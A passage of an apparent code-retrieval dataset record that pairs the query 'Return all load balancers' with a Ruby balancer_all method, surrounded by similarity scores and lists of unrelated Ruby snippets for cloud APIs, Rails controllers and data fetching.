args.key?(:endpoints)\n @events = args[:events] if args.key?(:events)\n @fetch_pattern_fp = args[:fetch_pattern_fp] if args.key?(:fetch_pattern_fp)\n @floo_egress_region = args[:floo_egress_region] if args.key?(:floo_egress_region)\n @geo_crawl_egress_region = args[:geo_crawl_egress_region] if args.key?(:geo_crawl_egress_region)\n @geo_crawl_fallback = args[:geo_crawl_fallback] if args.key?(:geo_crawl_fallback)\n @geo_crawl_location_attempted = args[:geo_crawl_location_attempted] if args.key?(:geo_crawl_location_attempted)\n @hsts_info = args[:hsts_info] if args.key?(:hsts_info)\n @http_trailers = args[:http_trailers] if args.key?(:http_trailers)\n @hop_cache_key_for_lookup = args[:hop_cache_key_for_lookup] if args.key?(:hop_cache_key_for_lookup)\n @hop_cache_key_for_update = args[:hop_cache_key_for_update] if args.key?(:hop_cache_key_for_update)\n @hop_reuse_info = args[:hop_reuse_info] if args.key?(:hop_reuse_info)\n @hop_robots_info = args[:hop_robots_info] if args.key?(:hop_robots_info)\n @host_bucket_data = args[:host_bucket_data] if args.key?(:host_bucket_data)\n @host_id = args[:host_id] if args.key?(:host_id)\n @http_protocol = args[:http_protocol] if args.key?(:http_protocol)\n @http_request_headers = args[:http_request_headers] if args.key?(:http_request_headers)\n @http_response_headers = args[:http_response_headers] if args.key?(:http_response_headers)\n @http_version = args[:http_version] if args.key?(:http_version)\n @id = args[:id] if args.key?(:id)\n @last_url_status = args[:last_url_status] if args.key?(:last_url_status)\n @policy_data = args[:policy_data] if args.key?(:policy_data)\n @post_data = args[:post_data] if args.key?(:post_data)\n @predicted_download_time_ms = args[:predicted_download_time_ms] if args.key?(:predicted_download_time_ms)\n @protocol_version_fallback = args[:protocol_version_fallback] if args.key?(:protocol_version_fallback)\n @redirect_source_fetch_id = args[:redirect_source_fetch_id] if args.key?(:redirect_source_fetch_id)\n @requestor_id = args[:requestor_id] if args.key?(:requestor_id)\n @requestor_ip_address_packed = args[:requestor_ip_address_packed] if args.key?(:requestor_ip_address_packed)\n @reuse_info = args[:reuse_info] if args.key?(:reuse_info)\n @robots_info = args[:robots_info] if args.key?(:robots_info)\n @robots_status = args[:robots_status] if args.key?(:robots_status)\n @robots_txt = args[:robots_txt] if args.key?(:robots_txt)\n @status = args[:status] if args.key?(:status)\n @throttle_client = args[:throttle_client] if args.key?(:throttle_client)\n @thrown_away_bytes = args[:thrown_away_bytes] if args.key?(:thrown_away_bytes)\n @timestamp_in_ms = args[:timestamp_in_ms] if args.key?(:timestamp_in_ms)\n @total_fetched_size = args[:total_fetched_size] if args.key?(:total_fetched_size)\n @transparent_rewrites = args[:transparent_rewrites] if args.key?(:transparent_rewrites)\n @trawler_private = args[:trawler_private] if args.key?(:trawler_private)\n @url = args[:url] if args.key?(:url)\n @url_encoding = args[:url_encoding] if args.key?(:url_encoding)\n @use_html_compress_dictionary = args[:use_html_compress_dictionary] if args.key?(:use_html_compress_dictionary)\n @crawldates = args[:crawldates] if args.key?(:crawldates)\n @delivery_report = args[:delivery_report] if args.key?(:delivery_report)\n @fetchstats = args[:fetchstats] if args.key?(:fetchstats)\n @original_protocol_url = args[:original_protocol_url] if args.key?(:original_protocol_url)\n @partialresponse = args[:partialresponse] if args.key?(:partialresponse)\n @protocolresponse = args[:protocolresponse] if args.key?(:protocolresponse)\n @redirects = args[:redirects] if args.key?(:redirects)\n @traffic_type = args[:traffic_type] if args.key?(:traffic_type)\n end", "def fetch\n response = RestClient.get \"http://pokeapi.co/#{resource_uri}\"\n update(resource_data: JSON.parse(response))\n end", "def show\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loadbalancer }\n end\n end", "def load_efi_banners\n if params[:id].presence\n @banner = current_user_efi.efi.banners.find(params[:id])\n else\n @banners = current_user_efi.efi.banners\n end\n end", "def set_breach\n @breach = Breach.find(params[:id])\n end", "def balancer_health_check(balancer)\n balancer\n end", "def fetch_sdb_updates\n log_with_color \"UWSDB Fetch\", \"Fetching student data update for Student #{self.id}\"\n return false if sdb.nil?\n attrs = { \n :fullname => sws ? (sws.fullname rescue sdb.fullname) : sdb.fullname,\n :firstname => sws ? (sws.firstname rescue sdb.firstname) : sdb.firstname,\n :lastname => sws ? (sws.lastname rescue sdb.lastname) : sdb.lastname,\n :email => sdb.email,\n\t :gender => sdb.s1_gender,\n\t :class_standing_id => sdb.class_standing,\n :sdb_update_at => Time.now \n }\n update_attributes!(attrs)\n end", "def update &block\n\t\t\t@request_queue.get \"/api/#{api_key}\", :info do |response|\n\t\t\t\tstatus, result = check_json response\n\n\t\t\t\tchanged = false\n\n\t\t\t\tbegin\n\t\t\t\t\tif status\n\t\t\t\t\t\tfirst_update = !@registered\n\n\t\t\t\t\t\t# TODO: Extract a helper method for adding new\n\t\t\t\t\t\t# members to and removing old members from a list\n\n\t\t\t\t\t\t@config = result\n\t\t\t\t\t\t@config['lights'].each do |id, info|\n\t\t\t\t\t\t\tid = id.to_i\n\t\t\t\t\t\t\tif @lights[id].is_a? Light\n\t\t\t\t\t\t\t\t@lights[id].handle_json info\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@lights[id] = Light.new(self, id, info)\n\t\t\t\t\t\t\t\tchanged = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@lights.select! do |id, light|\n\t\t\t\t\t\t\tincl = @config['lights'].include? id.to_s\n\t\t\t\t\t\t\tchanged ||= !incl\n\t\t\t\t\t\t\tincl\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tset_name @config['config']['name'] unless @name\n\t\t\t\t\t\t@serial ||= @config['config']['mac'].gsub(':', '').downcase\n\n\t\t\t\t\t\t@registered = true\n\n\t\t\t\t\t\tunless @groups[0].is_a? Group\n\t\t\t\t\t\t\t@groups[0] = Group.new(self, 0)\n\t\t\t\t\t\t\tget_api '/groups/0', :info do |response|\n\t\t\t\t\t\t\t\tstatus, result = check_json response\n\t\t\t\t\t\t\t\tif status && @groups[0]\n\t\t\t\t\t\t\t\t\t@groups[0].handle_json result\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@config['groups'].each do |id, info|\n\t\t\t\t\t\t\tif @groups[id.to_i].is_a? Group\n\t\t\t\t\t\t\t\t@groups[id.to_i].handle_json info\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@groups[id.to_i] = Group.new(self, id.to_i, info)\n\t\t\t\t\t\t\t\tchanged = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@groups.select! do |id, light|\n\t\t\t\t\t\t\tincl = @config['groups'].include?(id.to_s) || id == 0\n\t\t\t\t\t\t\tchanged ||= !incl\n\t\t\t\t\t\t\tincl\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@config['scenes'].each do |id, info|\n\t\t\t\t\t\t\tif @scenes[id].is_a? Scene\n\t\t\t\t\t\t\t\t@scenes[id].handle_json info\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@scenes[id] = Scene.new(self, id, info)\n\t\t\t\t\t\t\t\tchanged = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@scenes.select! do |id, scene|\n\t\t\t\t\t\t\tincl = @config['scenes'].include?(id.to_s)\n\t\t\t\t\t\t\tchanged ||= !incl\n\t\t\t\t\t\t\tincl\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\twl = @config['config']['whitelist']\n\t\t\t\t\t\tif wl != @whitelist\n\t\t\t\t\t\t\t@whitelist = wl\n\t\t\t\t\t\t\tchanged = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tif changed\n\t\t\t\t\t\t\t@scenes = Hash[@scenes.sort_by{|id, s| s.name}]\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t# TODO: schedules, rules, sensors, etc.\n\n\t\t\t\t\t\tscan_status true if first_update || @lightscan['lastscan'] == 'active'\n\n\t\t\t\t\t\tBridge.notify_bridge_callbacks self, true if first_update || changed\n\t\t\t\t\tend\n\t\t\t\trescue => e\n\t\t\t\t\tlog_e e, \"Bridge #{@serial} update raised an exception\"\n\t\t\t\t\tstatus = false\n\t\t\t\t\tresult = e\n\t\t\t\tend\n\n\t\t\t\tresult = changed if status\n\t\t\t\tnotify_update_callbacks status, result\n\n\t\t\t\tyield status, result\n\t\t\tend\n\t\tend", "def update!(**args)\n @beacons = args[:beacons] if args.key?(:beacons)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @total_count = args[:total_count] if args.key?(:total_count)\n end", "def update_all\n data_in_batches do |batch|\n Bookings::Data::SchoolUpdater.new(batch).update\n end\n end", "def balance_get_with_http_info(addrs, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.balance_get ...'\n end\n # verify the required parameter 'addrs' is set\n if @api_client.config.client_side_validation && addrs.nil?\n fail ArgumentError, \"Missing the required parameter 'addrs' when calling DefaultApi.balance_get\"\n end\n # resource path\n local_var_path = '/api/v1/balance'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'addrs'] = addrs\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#balance_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update!(**args)\n @addresses = args[:addresses] if args.key?(:addresses)\n @avoid_buggy_ips = args[:avoid_buggy_ips] if args.key?(:avoid_buggy_ips)\n @manual_assign = args[:manual_assign] if args.key?(:manual_assign)\n @pool = args[:pool] if args.key?(:pool)\n end", "def update!(**args)\n @addresses = args[:addresses] if args.key?(:addresses)\n @avoid_buggy_ips = args[:avoid_buggy_ips] if args.key?(:avoid_buggy_ips)\n @manual_assign = args[:manual_assign] if args.key?(:manual_assign)\n @pool = args[:pool] if args.key?(:pool)\n end", "def fetch\n client.fetch(self)\n end", "def refresh_bikes\n bike_ids = params[\"bike_ids\"].split(',')\n user_id = params[\"user_id\"]\n\n bike_ids.each {|bike_id|\n strava_bike = get_bike(bike_id, user_id)\n bike = Bike.find_by(strava_gear_id: bike_id)\n bike.update(distance_done: strava_bike[\"distance\"])\n }\n end", "def update()\n say('Updating...')\n\n # checking if we need to wait longer before updating\n delay = $redis.get(\"delay\")\n if(delay != '' && delay != nil)\n say(\"Error: must wait #{delay.to_i - Time.now.to_i} more seconds before updating! (#{delay})\")\n return\n end\n\n # check what lists we have access to\n available_lists = get_lists()\n say(\"Available lists: #{available_lists.inspect}\")\n\n # only download from lists we care about and have access to\n lists = (available_lists & $lists)\n\n get_data(lists)\n end", "def update!(**args)\n @backup_plans = args[:backup_plans] if args.key?(:backup_plans)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @unreachable = args[:unreachable] if args.key?(:unreachable)\n end", "def get_bs_companies(vendors)\r\n response = make_API_request(\"https://api.bitsighttech.com/ratings/v1/companies\",'get','',false,{type: 'basic', username: $BS_TOKEN, password: ''})\r\n\tcompanies = JSON.parse(response.body)['companies']\r\n\r\n\tputs \"BitSight API code: #{response.code}, #{companies.length} companies sent\"\r\n\tif response.code != \"200\"\r\n\t\tputs \"BitSight API response:\"\r\n\t\tpp JSON.parse(response.body)\r\n\tend\r\n\r\n\tcreates = updates = Array.new\r\n\tcompanies.each do |company|\r\n\t\tcurrent_vendor = vendors[company['guid']]\r\n\t\tif(current_vendor != nil)\r\n\t\t\tif(current_vendor['attributes']['bitsight_rating_date']==company['rating_date']) then next end\r\n\t\t\tprofile = build_profile_hash(company, current_vendor['id'])\r\n\t\t\tupdates << profile\r\n\t\telse\r\n\t\t\tprofile = build_profile_hash(company)\r\n\t\t\tcreates << profile\r\n\t\tend\r\n\tend\r\n\tlists = {\r\n\t\tcreates: creates,\r\n\t\tupdates: updates,\r\n\t}\r\nend", "def allocate_load_balancer(action_handler, lb_spec, lb_options, machine_specs)\n end", "def modify_load_balancer_attributes(lb_name, options)\n attributes = Fog::AWS.serialize_keys 'LoadBalancerAttributes', options\n request(attributes.merge(\n 'Action' => 'ModifyLoadBalancerAttributes',\n 'LoadBalancerName' => lb_name,\n :parser => Fog::Parsers::AWS::ELB::Empty.new\n ))\n end", "def price_bulk_load\n logger.info 'PRICE BULK LOAD REQUESTED.'\n FeedWorker.perform_async('price_bulk_load')\n head :accepted\n end", "def createCLB(elbv1, sg_tcp_80_lb, pub_net1_id, pub_net2_id)\n # TODO: Remove CLB by name if create fails to fully create\n\n # Create CLB\n response = elbv1.create_load_balancer(load_balancer_name: 'AutoCLB',\n subnets: [pub_net1_id, pub_net2_id],\n security_groups: [sg_tcp_80_lb],\n listeners: [{ protocol: 'HTTP',\n load_balancer_port: 80,\n instance_protocol: 'HTTP',\n instance_port: 80 }])\n clb_dns_name = response.dns_name\n puts \"clb_dns_name = #{clb_dns_name}\"\n clb_dns_name # return\nend", "def update\n @bod.assign_attributes(bod_params)\n # ask_for_permission(@bod, 'update_bod') and return if current_user.cannot 'update_bod'\n # Extract category, if given\n category = params[:bod][:category]\n unless category.nil?\n @bod.category_type, @bod.category_id = category.split(':')\n end\n #\n @bod.save ?\n are_saved = update_balances(@bod) : are_saved = [false]\n respond_to do |format|\n if are_saved.all?\n format.html { redirect_to bods_url, notice: @bod.table_name_to_show.concat(' fue actualizado satisfactoriamente.') }\n else\n format.html { render :edit }\n format.json { render json: @bod.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @bgp_lb_config = args[:bgp_lb_config] if args.key?(:bgp_lb_config)\n @manual_lb_config = args[:manual_lb_config] if args.key?(:manual_lb_config)\n @metal_lb_config = args[:metal_lb_config] if args.key?(:metal_lb_config)\n @port_config = args[:port_config] if args.key?(:port_config)\n @vip_config = args[:vip_config] if args.key?(:vip_config)\n end" ]
[ "0.6357205", "0.62527823", "0.624059", "0.61288977", "0.6002497", "0.5981547", "0.58979493", "0.5869539", "0.58688635", "0.58554137", "0.57318085", "0.5725863", "0.56905466", "0.56279457", "0.56279457", "0.55349386", "0.55104166", "0.5417317", "0.5413467", "0.5406602", "0.54002994", "0.5369311", "0.5361375", "0.5334607", "0.5292242", "0.5286361", "0.527681", "0.5273215", "0.5263973", "0.5260872", "0.523953", "0.5177739", "0.5155567", "0.5153348", "0.51267636", "0.5107225", "0.50905055", "0.50825244", "0.50674844", "0.5053949", "0.5024833", "0.5005434", "0.4997379", "0.49511805", "0.4948862", "0.4948269", "0.49481267", "0.49467644", "0.49466184", "0.49432626", "0.4929182", "0.49264443", "0.49264443", "0.49097762", "0.4904315", "0.48980695", "0.48946807", "0.4889698", "0.488757", "0.48751128", "0.4862279", "0.48520884", "0.48520884", "0.48418418", "0.4841181", "0.48343402", "0.48343402", "0.48319528", "0.4830703", "0.4830261", "0.48258573", "0.48209393", "0.48039904", "0.4797153", "0.4793832", "0.47856748", "0.47825038", "0.47698465", "0.47685233", "0.47673276", "0.4765805", "0.4764342", "0.47635928", "0.47483134", "0.4745029", "0.47360447", "0.47324026", "0.47302985", "0.47302985", "0.47248483", "0.47227806", "0.47099113", "0.47064066", "0.46992165", "0.46929908", "0.46857688", "0.46803275", "0.46787027", "0.46712112", "0.46711096" ]
0.74368066
0
Return all load balancers
def balancer_all(options = {}) load_balancer_data end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @cabinet_balancers = Balancer.all\n end", "def describe_load_balancers(ids = [], options = {})\n ids = [*ids]\n params = {}\n params['Marker'] = options[:marker] if options[:marker]\n params['PageSize'] = options[:page_size] if options[:page_size]\n params.merge!(Fog::AWS.serialize_keys('LoadBalancerArns', ids)) if ids.any?\n params.merge!(Fog::AWS.serialize_keys('Names', options[:names])) if options[:names]\n request({\n 'Action' => 'DescribeLoadBalancers',\n :parser => Fog::Parsers::AWS::ELBV2::DescribeLoadBalancers.new\n }.merge!(params))\n end", "def load_balancer_data(balancer = nil)\n params = Smash.new(\"Action\" => \"DescribeLoadBalancers\")\n if balancer\n params[\"LoadBalancerNames.member.1\"] = balancer.id || balancer.name\n end\n result = all_result_pages(nil, :body,\n \"DescribeLoadBalancersResponse\", \"DescribeLoadBalancersResult\",\n \"LoadBalancerDescriptions\", \"member\") do |options|\n request(\n :method => :post,\n :path => \"/\",\n :form => options.merge(params),\n )\n end\n if balancer\n health_result = all_result_pages(nil, :body,\n \"DescribeInstanceHealthResponse\", \"DescribeInstanceHealthResult\",\n \"InstanceStates\", \"member\") do |options|\n request(\n :method => :post,\n :path => \"/\",\n :form => options.merge(\n \"LoadBalancerName\" => balancer.id || balancer.name,\n \"Action\" => \"DescribeInstanceHealth\",\n ),\n )\n end\n end\n result.map do |blr|\n (balancer || Balancer.new(self)).load_data(\n Smash.new(\n :id => blr[\"LoadBalancerName\"],\n :name => blr[\"LoadBalancerName\"],\n :state => :active,\n :status => \"ACTIVE\",\n :created => blr[\"CreatedTime\"],\n :updated => blr[\"CreatedTime\"],\n :public_addresses => [\n Balancer::Address.new(\n :address => blr[\"DNSName\"],\n :version => 4,\n ),\n ],\n :servers => [blr.get(\"Instances\", \"member\")].flatten(1).compact.map { |i|\n Balancer::Server.new(self.api_for(:compute), :id => i[\"InstanceId\"])\n },\n ).merge(\n health_result.nil? ? {} : Smash.new(\n :server_states => health_result.nil? ? nil : health_result.map { |i|\n Balancer::ServerState.new(\n self.api_for(:compute),\n :id => i[\"InstanceId\"],\n :status => i[\"State\"],\n :reason => i[\"ReasonCode\"],\n :state => i[\"State\"] == \"InService\" ? :up : :down,\n )\n },\n )\n )\n ).valid_state\n end\n end", "def load_balancer_names\n @group.load_balancer_names\n end", "def list_configs(lb_id, headers = {})\n get!(\"loadbalancers/#{lb_id}/configs\", {}, headers)\n end", "def index\n @loadbalancers = getmydata(\"Loadbalancer\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loadbalancers }\n end\n end", "def retrieve_elb(name)\n Clients.elb.describe_load_balancers(\n load_balancer_names: [name],\n ).load_balancer_descriptions[0]\nend", "def fetch_from_ec2_loadbalancer\n instances_for_deploy = []\n loadbalancer lb_webserver, :web\n instances_for_deploy\nend", "def fetch_from_ec2_loadbalancer\n instances_for_deploy = []\n loadbalancer lb_webserver, :web\n instances_for_deploy\nend", "def describe_load_balancers(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeLoadBalancers'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :server_id\n\t\t\targs[:query]['ServerId'] = optional[:server_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def load_balancer # rubocop:disable AbcSize\n raise 'Can not determine hostname to load client for' if @new_resource.f5.nil?\n @@load_balancers ||= []\n add_lb(@new_resource.f5) if @@load_balancers.empty?\n add_lb(@new_resource.f5) if @@load_balancers.find { |lb| lb.name == @new_resource.f5 }.nil?\n @@load_balancers.find { |lb| lb.name == @new_resource.f5 }\n end", "def describe_load_balancers(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeLoadBalancers'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :address\n\t\t\targs[:query]['Address'] = optional[:address]\n\t\tend\n\t\tif optional.key? :address_type\n\t\t\targs[:query]['AddressType'] = optional[:address_type]\n\t\tend\n\t\tif optional.key? :internet_charge_type\n\t\t\targs[:query]['InternetChargeType'] = optional[:internet_charge_type]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :master_zone_id\n\t\t\targs[:query]['MasterZoneId'] = optional[:master_zone_id]\n\t\tend\n\t\tif optional.key? :network_type\n\t\t\targs[:query]['NetworkType'] = optional[:network_type]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :security_status\n\t\t\targs[:query]['SecurityStatus'] = optional[:security_status]\n\t\tend\n\t\tif optional.key? :server_id\n\t\t\targs[:query]['ServerId'] = optional[:server_id]\n\t\tend\n\t\tif optional.key? :slave_zone_id\n\t\t\targs[:query]['SlaveZoneId'] = optional[:slave_zone_id]\n\t\tend\n\t\tif optional.key? :v_switch_id\n\t\t\targs[:query]['VSwitchId'] = optional[:v_switch_id]\n\t\tend\n\t\tif optional.key? :vpc_id\n\t\t\targs[:query]['VpcId'] = optional[:vpc_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def all(options = {})\n data = service.get_records 'VLAN'\n load(data)\n end", "def all_sites(&block)\n sites.list(&block)\n end", "def test_00_describe_load_balancers\n items = @elb.describe_load_balancers\n assert items.is_a?(Array)\n end", "def bridges_list\n get \"bridges\"\n end", "def blogs\n get(get_all_sites_uri)\n end", "def index\n @bucket_blocs = BucketBloc.all\n end", "def get_loadbalancer(name=resource[:load_balancer])\n get_cloud_connection()\n args = []\n\n args << @connection_resource[:user]\n args << @connection_resource[:pass]\n args << @connection_resource[:location] if @connection_resource[:location]\n\n @loadbalancer_connection = Puppet::Type::Loadbalancer::ProviderElb.connection(*args)\n\n load_balancer = @loadbalancer_connection.load_balancers.find {|lb|\n lb.id == name\n }\n end", "def all\n @pool\n end", "def list_load_balancer_pools(opts = {})\n data, _status_code, _headers = list_load_balancer_pools_with_http_info(opts)\n data\n end", "def all\n @service.all\n end", "def index\n @socket_loads = SocketLoad.all\n end", "def all\n @bouncers = Bouncer.find(:all, :order => \"count DESC\")\n @title = \"All URLs\"\n @show_edit_controls = false\n render :index\n end", "def populate\n response = @connection.lbreq(\"GET\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n data = JSON.parse(response.body)['loadBalancer']\n @id = data[\"id\"]\n @name = data[\"name\"]\n @protocol = data[\"protocol\"]\n @port = data[\"port\"]\n @algorithm = data[\"algorithm\"]\n @connection_logging = data[\"connectionLogging\"][\"enabled\"]\n @status = data[\"status\"]\n @timeout = data[\"timeout\"]\n true\n end", "def get_pool_names\n JSON.parse(get(\"http://#{@host}/loadbalancers/tenant/#{@tenant}/pools\"))['tenantpools']['pools']\n end", "def index\n @aws_subnets = AwsSubnet.all\n end", "def get_traffic_by_loadbalancer(loadbalancer_id, attributes = {}, headers = {})\n Validators::Traffic.validate_attributes!(attributes, :list)\n get!(\"traffics/loadbalancers/#{loadbalancer_id}\", attributes, headers)\n end", "def attach_to_elbs(instance:, load_balancers:)\n check_arguments(instance: instance, load_balancers: load_balancers)\n\n if load_balancers.empty?\n log(\"No load balancers to attach to\")\n return {}\n end\n\n @lb_wait_params = []\n registered_instances = {} # return this\n\n load_balancers.each do |lb|\n params = {\n load_balancer_name: lb.load_balancer_name,\n instances: [{ instance_id: instance.ec2_instance_id }]\n }\n\n result = @elb_client.register_instances_with_load_balancer(params)\n\n registered_instances[lb.load_balancer_name] = result\n @lb_wait_params << params\n end\n\n log(\"Re-attaching instance #{instance.hostname} to all load balancers\")\n\n unless @regional_deploy\n wait_for_re_attach(@lb_wait_params)\n end\n\n registered_instances\n end", "def dnsbls\n @dnsbls.keys\n end", "def describe_listeners(load_balancer_arn, options = {})\n request({\n 'Action' => 'DescribeListeners',\n 'LoadBalancerArn' => load_balancer_arn,\n :parser => Fog::Parsers::AWS::ELBV2::DescribeListeners.new\n }.merge!(options))\n end", "def load_all_subnets\n set_rack_ip_offsets\n set_subnets\n \n @subnet = {}\n @ip_subnet.keys.each do |net|\n @subnet[net] = net_by_suffix(suffix: net)\n end\nend", "def load_legislators()\n params = {'per_page' => 'all'}\n @legislators = process('legislators', 'legislators', params)\n end", "def index\n @crawlers = Crawler.all\n end", "def index\n @bagels = Bagel.all\n end", "def all(opts = nil, &block)\n a = []\n each(opts) {|r| a << r}\n post_load(a)\n a.each(&block) if block\n a\n end", "def index\n @cabinet_transports = Transport.eager_load(:map_layer)\n end", "def index\n @crawlers = Crawler.order(:id)\n end", "def list_load_balancer_pools_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.list_load_balancer_pools ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesLoadbalancerApi.list_load_balancer_pools, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesLoadbalancerApi.list_load_balancer_pools, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/loadbalancer/pools'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPoolListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#list_load_balancer_pools\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def all\n load[:results]\n end", "def index\n @lcb_registries = LcbRegistry.all\n end", "def add_lb(hostname)\n @@load_balancers << LoadBalancer.new(hostname, create_icontrol(hostname))\n end", "def load_balancer_status\n puts\n @haproxy.identity_filter(@load_balancer)\n rpcresult = @haproxy.backend_status(:backend => 'puppetcamp')\n puts \"Enabled Nodes :\".green\n rpcresult.each do |enabled| \n enabled[:data][:enabled].each do |host|\n puts \" #{host}\".green\n end\n end\n puts\n puts \"Disabled Nodes :\".red\n rpcresult.each do |disabled|\n disabled[:data][:disabled].each do |host|\n puts \" #{host}\".red\n end\n end\n puts\nend", "def all(options={})\n response = MLS.get('/addresses', options)\n MLS::Address::Parser.parse_collection(response.body)\n end", "def all\n ::ActiveRecord::Base.connection_pool.with_connection do\n execute(:all).to_a\n end\n end", "def balancer\n @balancer ||= RightSupport::Net::RequestBalancer.new(@@hostnames,\n :policy=>RightSupport::Net::Balancing::StickyPolicy)\n end", "def all(params = {})\n Iterable.request(conf, base_path, params).get\n end", "def list_lb_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.list_lb_services ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling 